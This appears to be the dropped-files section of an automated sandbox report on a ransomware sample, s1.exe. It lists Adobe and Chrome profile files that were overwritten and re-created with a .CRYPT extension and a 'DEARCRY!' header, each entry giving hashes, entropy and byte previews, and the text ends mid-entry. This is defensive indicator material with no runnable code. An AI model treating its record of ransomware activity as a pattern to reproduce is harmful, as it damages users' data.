                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):245480
                                                              Entropy (8bit):7.9992250682421275
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:CFD94419BC184E66740CAA4560802E8E
                                                              SHA1:7C16D935D67F0D9C9138767DC858C070ABD18085
                                                              SHA-256:2270B12BDB600952575C226FD3C3E5851A5B7724F92DCB552728B037683C90D0
                                                              SHA-512:99FCC4E6E93ACA738F46F4CFCC679B67613DCAF46393EE96A7E90B48B6CCBD64F1C13F48B1520BCF43837C86EF45B65698F4E406F15DF700474B3953CF8837C6
                                                              Malicious:true
                                                              Preview: DEARCRY!..../.p.x9*.IUV5c.XO..4 .d.._cG..!.G....DS[.,..8..-D=.r.=8N.0..?.q.WO......N&..%....k.S6.z.D.pEm...9.......9....D......$$....?..0.........}.8F....F$.]?.ZO.m..]l.:.j..E.I.......V.'..].&..L...../...c....\..#l...TP...-..u..F..+>.96.w....G.J..#.B.@............~....&%%...?h.I......A.S"J[...t."........<..y.3.-........(.$t%$.L.y.!...m.............h^....K......mDbs.T.#........g'.. L91=U....H.*.. .6.&...se.4...U.z^..6(HT...."...O5.z.:.8.$.?.a.{...#.YsjBG..3....O.....j'". $.y......^....9'.....<..._...h.d+.0.q..^..p..J...:.}.I..SDvO@.,..K......R<.."A..Z]._..~$..Q.w..uvk......q.z..i.8...y..G...>D,./vu...|....s..W.5......Z...#.]e?.y8]J.f_.W.R..(...;.q.!..5......y....jw.Atc...D.6B.;......7.+@.;..,..~...".&..dR.%.`...A..h.._...d\p#.5.q..,G._....F.-<.....+..i....DUUC.5..<j...`.~...~.D.V.D.Y..........w.G..k.._...A..rM.)..kW{..*.......2o....:..d...j....f..>{..;<....e7S...=i..J.A.....[..;.RG.k....9h..E.>..Q.......o1....6..........v.&O.."......{...
                                                              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache.bin
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):63598
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:643E6A123EB71B7F0938ED9AF6021DAC
                                                              SHA1:A3F10AE4866D7FDC16B2463897941819B1D07659
                                                              SHA-256:79178E0A703E0DA8F65FDE6841B89CB9869569C43D555BA41843A066C2848141
                                                              SHA-512:3C8C865A7D667EB1D192734B645BFD0A99E59B8E4C2F5C8E503AE2928FA849FB947F2DE6B9CCEFD3777FE71E71CA33681CF769B0309F809F6DA128F3E4B51286
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache.bin.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):63880
                                                              Entropy (8bit):7.99737085085791
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:7066E6C88562118EF6732B27A7B6AFEF
                                                              SHA1:BC081A81EC9CAF8303B1156EFBD1F1747F435715
                                                              SHA-256:C63CE53F11C6EE76801116D2C1E02E4929AB67C30E572D69F6395872E36976F0
                                                              SHA-512:9FEE16771E8C0D9733B4C3FFB30127343954EECCAF15CADAF6D900266733A102DF0060A891D69DE31AF1B61B9F69D4E3F1D3FF443292450CDA351A6CA9734010
                                                              Malicious:true
                                                              Preview: DEARCRY!.....*.WR...tv.e..Y..n..1..-B..?...P...wSO.-..y..INor.S."B..Q.m....}#.u.a..g..5.Q.+ejT<1...9$.^u.....#F.]..b.....'.....C..Q~.Wg.....u..Wp,.1...I............JadmA..A.....I.a...........&..vH:...u..K6;9$H.JzF.tB..jG"........|.-e..<.u.$O#....f......n.........].w.T....T.qCN........{...r..Jby.........t..&n.+m.........r..J)........(9..}vd..w(..E......:p...k...f_.C....qT..E.|.dN....R......b.....@...i..!K.C...C...Z}....&q..!.U.+!.^3.s...tc.5.x....p..Cc..N..R.2......yH..b_i[Y..>..P6v.].`.R.. ..g^..s.l0q...$...R..Y.....$.A;..Q.s..C..f.&2....T...Ye..`b.z..t..,.@.f9pl.v....C.Q.4.~...[J.......L..|...`!)..p....t;:...X..Wz]...T.Sj...cf....7H.)..Q.....T.. .....#.;...cE.......w.m........p^.mP.OU.....b".'.u...K..Q...,..`..p..]O..n;A.9..q..7...T$z..s.B..9.&..>$..g..To.k.Q.#.H.2.aw.T|.W..d.T.5...~... .5B..tytb..i..oa.z[.a.H.h=..@.....A.0.....LW.#y1..2.................oL%\..o=.#..B..B.....}...-Q'U.A.Q\..V.R...7UH.V.......Fwa...-..k.Mr._c.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):40
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A9451E544B3AE4AD6BAAD228D5A46198
                                                              SHA1:5CDBB64242D8551A7CF583903FD7D5B72B277537
                                                              SHA-256:F0A2FB80AC0699075FB6C7B0EE2BCC204A1D909EE3149571216EC9CC1D4B9F8E
                                                              SHA-512:394D36C395614A42195260D808E7E0B441AF004D4A8E7613315343368AC3DE43DEA8F300E1B2369766BF45A178247B3D4111A65DEF8E83E2E823919EAF99A0EE
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):328
                                                              Entropy (8bit):7.213135523329055
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0D7884E6213F321AA073820DC7A7BFB8
                                                              SHA1:9E7BC268BDFAF6A4DACD3603EDB884502AA29889
                                                              SHA-256:89F5C453A9719E3A1B7B06FBA2C4BF6B61C25EA148CF88A55BC95F5E956DC6DE
                                                              SHA-512:D561A59FDEC188ED6E97CD9686DDEC4992DB5F20BF4FFC9B525A637E89069F0093DD4C4CE11DA2CD9453075F7AE41186BF4C130ABC5D6F072DDC7A5BE714FE9B
                                                              Malicious:false
                                                              Preview: DEARCRY!......`..{"a~.8jCh..SQ;(C>...Nw..t......z..]~.u.....bT.y...GH.....v4..^.S.eCL...d.V....(j}$_Y1.....JG..O.(............L..71>C..\jo8_..c.q."..qd...<.H...06O....D$....^....k25.&X43...mQ.3..}.sTB................b..R(T.....u..1]4..z.7&.-..=...!v.......(...........f.R:..K.4.......i.?~2>...T2J..@.....A....
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\000003.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.223826011169398
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:44A375D072C14104922BBCAFA75BF5D8
                                                              SHA1:AED99563B57A7DC48D9F6EBF588A23203748CF93
                                                              SHA-256:FB536718D9F1D5853498391B33EB0C1D3F020EE13FD678F5243B5EB8554BC834
                                                              SHA-512:8FB938BF8B7F566D543CD5CF1B9C688432D157C18780B6520F3CB0431E150F9C5FAD4C75E0278D69D7EBEE539E31262008B701929E2FBC0C95E3714ABD648B29
                                                              Malicious:false
                                                              Preview: DEARCRY!.....4......P.....U5..Z.3E2..U..P./0.Px..lu..d+zz.N...k.u.p4.DO.Ti......].2...s.t!f4pn.n._..g......:..s.f(%.w.%L.&.....!".y..#........C@,.......Gzu..2l<.W....LKF.5...|.....kX...*..1~..`...J...g...<0.Heb.X.J.t.....U.O~9..|..=o}L.h.L..fKf.........0.;..................6..........`
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\000003.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1184
                                                              Entropy (8bit):7.695656452172328
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9D3B75CDA5D9C47F5F6AD101EE084002
                                                              SHA1:56D4D7A8F1F75EC985C5D81D708BA2CCE3CF51E2
                                                              SHA-256:96A41662F6549E5E741F1C5B54C7AABD8516F113286737535F86462C5FC73C1E
                                                              SHA-512:BC57606EB59B3C3A4944BD404AB6BBACCC8208CA9E514842BCE0108835B23D89B12E03FF1F1A9F54C8D157C36757D83E812C231CA62CD9907D08D5E45EF197EE
                                                              Malicious:false
                                                              Preview: DEARCRY!..... ."9*M...8.).....$~.[P.ZF....n..^).4....|.w.$.AF9tiZ`FqrS.<8.y......F.zoy.H....,.|J.ZV.Q..V..bBB......c..;l..k..KDR...S...3AL....um...,E....D{[,.....o".e..r2N.~H.A{.9.&....b.......5".^.#/Y.......lo..s.P.a/..s.7x.ai{..:..^Dl......;.\.p..............[.....l....-...DEARCRY!....$..(.;!`._~..fs.HHTF.C..'.{.rw........NB..a...`..Hp....y.w..YI....%.......?.#..a46]<.V.^}..............;u..].....O.d....[..jZ...8......[&..f....L......M..m:&..&K.Z...}...G0.<.GXsCR.r<....,.WpU.{.gs...)....<.eL...z.{..~..^....H .p.z1...;....T.o................~.rEY...o.OU.DEARCRY!....[$..3....A._.z.......z.^..x...C....A.W.P..........._9....].._{..........702....a....(.!.......L...D.]O.P.:...sM.6.>.:+>..n.a .;..TG!fd...C.x"V.L.Z=...e.,..fP..Z........?.:.....(.xZ....r..wl..>&.&R...T.n...F0.A..lf9.O..2(.J...Q.Ao-8c..:...R..m................=...@..A..j.DEARCRY!....W..<..4..r..2...fa.r[..=.hn:.C.^..L..*w..".Q.x.Pz..I....R/.ULK..8..>...m.U]..iwc..yn^.:.H}..!5.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):684
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:035F8048F9B81B716F17A517A022FF6E
                                                              SHA1:EA0EC17D04EE967987EF50361FE47947B8B14C9B
                                                              SHA-256:5A94CC1504F4BD65B577C7231FCE097F92BDBE04A81D99B7373B658A2D8DB406
                                                              SHA-512:20458A0BD9767C30CD96AB3D73D89EEA7FCFD68FAB78DB1684B71DF7909B491BD22145D6936236013C7C7C4366DC85234C02E84E7C06AB3283C0CE8FDA97EB29
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1824
                                                              Entropy (8bit):7.822317783494276
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:462847C83FCCA92C9C3ABED74F599496
                                                              SHA1:9C6B9022751C63D76ED4209D24424668FD627D1F
                                                              SHA-256:B347F45C231D4FE9EFD4D2009F4B200B9C6003F746420114993DAE80627FB241
                                                              SHA-512:3525C0AC1035F70E92AFDF6ACED637C6110B174D9D609C269DD1F0D7441D11429D679A163BEFB95513FF7CC22F49A8CE65802DA008D91E423F0FDF8023F45343
                                                              Malicious:false
                                                              Preview: DEARCRY!....+..Ba.....}h....S\&3.>M.s.......9......p.w...o.>.D.(Gx>*H...p.5..p..|6..E..Y.]....6Y.@'..........(...],..]^..O..Cv\Bk/L....?,Iu{(..p......6..Ld./..E*.....f4..k+.#.f..~..d...8.=8..M.......Y1..(...w..`........4N5.Cg.nC.q..vFi\...]..]....{.d.b.Wd*h...............x...'_.*..fC.=.3..3...V.K.._...5.\T:v.;....]."..RM.Z..>...a..6..B....}...fd....,<x..W...;=.e.......D.....?..~....w..tB,.I{3.7...(.....6.....-.B..=.~...e....}Bk..k..hsDEARCRY!.....M.U..6....,.......{.=..:.f......P*.A...m.X.W.;..]./x.o4..nm.e.r............M?.3....h......u5.0=...%....i.3..}~J/.HO...[Uw.X>P..%F^z1...'...&k..>.=....\.W..O...fS(.I.^2|...0.!.\.R..K...dgc.Eb.w ......[.....]...R......7.=..!c8..0x-Z.#..................../..K?........F|&.U....g*J.....hw.l.^..P.iw.].....Bv..@.%-.(...V....4..n.L.1=_..;..r......w!..x.P!K.H{.<.....zJ...;D."T.oh...1<.pF .....`..]0..9U../a+.T....F.".....SPDEARCRY!....l..Y.M..oc}X-..A....W.Q.^...qc..y...S.K...4',...r..O....g\..T.4..Nq.....fP.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3648
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:96A5BA57CFFDFFE4B516057377F7BBAD
                                                              SHA1:A5B9784BECC1A1DEDD6108C1DD1D98A4479134A8
                                                              SHA-256:A79D392132A1B630D79E0A050E736A616DA4615CEB8E1367E041012DCD7D7847
                                                              SHA-512:70FB07917CA578573A9524096CB08F12CF339DF3C102F506F02599A9C93FF9D569A75E3AB96FDA10C5D9AA7250C544D4496B4B08CFB0086C379A1ABA6C17607C
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):4832
                                                              Entropy (8bit):7.95022293683402
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A2B42AF552B8897A30C7016D2F4C62F5
                                                              SHA1:F82DFC68BBBDD66DDF4E5B0C57E48E5F80129C07
                                                              SHA-256:B1B7AEA81BAB9BDF795E20B4F577C29424C3CB3AC016D1FDBB47D8463ECA55DC
                                                              SHA-512:39D2E45214DDDB12F519E22660AD521F0B326996B64AB2FD9E059D401C818A14CDBEA8DB27462C10141998F016F571EE695AD7D63BAE8E5F4893FA5ED06271F2
                                                              Malicious:false
                                                              Preview: DEARCRY!....vI.20.)...k{[(..cQ.k.$.>U...q..6..+:.....?..*$,..sA..g...m_....y.<)..r.K..{..*.......G....N.......q....}.iG%..Q.<._....1.g..4..S.Q..Q.P......q.\Kf.@..s...H.;..._4{......D.{.>.K.VV....1.(L+...C.6!8.....Rb.q.....h5.....p.....=.V_.0...4S.J.............(.....>.*..DZ7E>...vf......xf.e.N/.-X..+....<.s.b;.......g.e...,2......e..o.............9N.W3..l.X.,.5....([$......Z...x......\...C....=.d......@.!?h...n.o...JOGPMp1.E..MZT.n..0T.)A.~.D..&..%..[\.8.F~k..z...=LT(..D.....)............,...O.T.y..8?.C.y.G..]u....3.DVR..ApR0A~...|.7...q;.H-..(.I.d.K...$....yt.....Xb....H....t.&.&....J.....B..N..u..O..$..2.#.}.0..,.q`........~...ZD.~.+,[ihq....bj.....#.......&`...v.O..{..Q..o.8..T^[B .l....=.....).....L...6.B..).KC...9x;x.h.-..?....G..........ig_.h;W.e...S........Y.8..^..hc..:...W./c..:..|....n3^.k.$.....:...N.!..L.D0...x.R..y...a.J....k0..U...vd...)..9...X.e.;...W.l...:....,...5......p...7...,M.p..C%.:X..x..m.4....-G.M...&.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\icon_128.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3372
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B636DCA9DDA5B029F8C105FCF7AE3140
                                                              SHA1:77C4BF8FFA061648572EF22768C8F9C63FA0E435
                                                              SHA-256:DCDC76DA0E0750E43AE32B237EBD9955D1354371BF6277A92CC25DED1D5A059E
                                                              SHA-512:EB557FB8369883D07A773CC96740C874C2C16D0C7FBBBFA9A0C6C36F930659137FD86836C3D05A04ABBAE9D286B25453D03C5B035424C72289802BD859C85255
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\icon_128.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3656
                                                              Entropy (8bit):7.946932016002954
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E562A0C79AB13BEEBABAADC7B958931A
                                                              SHA1:48E40D8A444743E4AAAF78065D4FD8CFFE950246
                                                              SHA-256:1B77D398CE7206834A8E89982C3DF5C8537F33A272824C1E74DA4DF59CE4897E
                                                              SHA-512:7EB822979FCC625C332C37C40CCA2F3909EFED21A42AD9A98EBC77A269A32C746B5F71949AA3B0611E4479819F67C264B91B99EE1BEBD84D30BDF2E4B231300D
                                                              Malicious:false
                                                              Preview: DEARCRY!....K.u-.muO0H......We.....j{l6./*u.....,.o...`<..\|s^j;......7.z...._.\Y0...'...Z.!T.a....e.../q0......Z.....dCI..;.I`...K.c..o.ka.c.M{&..\.....N.G@.zV.....p3./..aOz.{C..teC$Q...q.]..3......A....e"Z...5e.%g.+...[...r..9U........G.....qVK.:...v{....,.......x.+.w....K....:......Pa....C....9.o=...]OF"<.;=.H.......c...q...jU.k.afyf5...{ ..bt....k.hR......e.&P.Z...m>.0..m.C.^H;........f.........u1.p.y.....!Yx.Z..$.fZ.-am.x`.?....q.E..p..."p. 9e!3..o..E........c.\....a..+...c..X<..[...}...D.@... ......&q.m:/..v.+,..V<G.00..../B./.EL.m.?-O.K..:q...S#..|..X.~@.e....'.......n....c..F9.rX...0F&wFP.{.-@...+....uI:u.....5.....Z..............3...`$..yS.p.`..#.(\.....(..\'...j..j`=.r..#:..J.)...Z.j/.O.a.. .Aw......s.".....,..9R...;nm...V".B./...f..ETe..D..J. ...y..&.B.v.....W./.>i...i.-.! .o.[:W..(.E........1.Zg.~..i..<^.49M.;...J.M.R......h..[.2~]`.....*f..g9!..x....vV...&T.....S.b..$(<g.....QBRy...Q.+4....(7.&....V."..M..........z...f-..-..T.O..
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\icon_16.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):320
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E41AECC33D5AC5C4B0FB93065EF39487
                                                              SHA1:C1D5B7689B8002C9E859BBE8A5253D49237E48EB
                                                              SHA-256:B36FA6F27D26D04615C69C89FCCB84ACDC8577BFBE692C01DC9578D7B647C145
                                                              SHA-512:6F349F1DE13A87371D14AF9E25AB2805523A1E5094932864F4594F7C2D4A89EE1994FD0644A8CE2930EDA1C0AAA5FCBBBF25F8CA221B5946ED830B89C9A19293
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\icon_16.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):912
                                                              Entropy (8bit):7.693604438655467
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8B0979058C65F77B28A6E483B6B33B9A
                                                              SHA1:36EA6B04AD3E7311426B2D49F85AF23BC2BECBD5
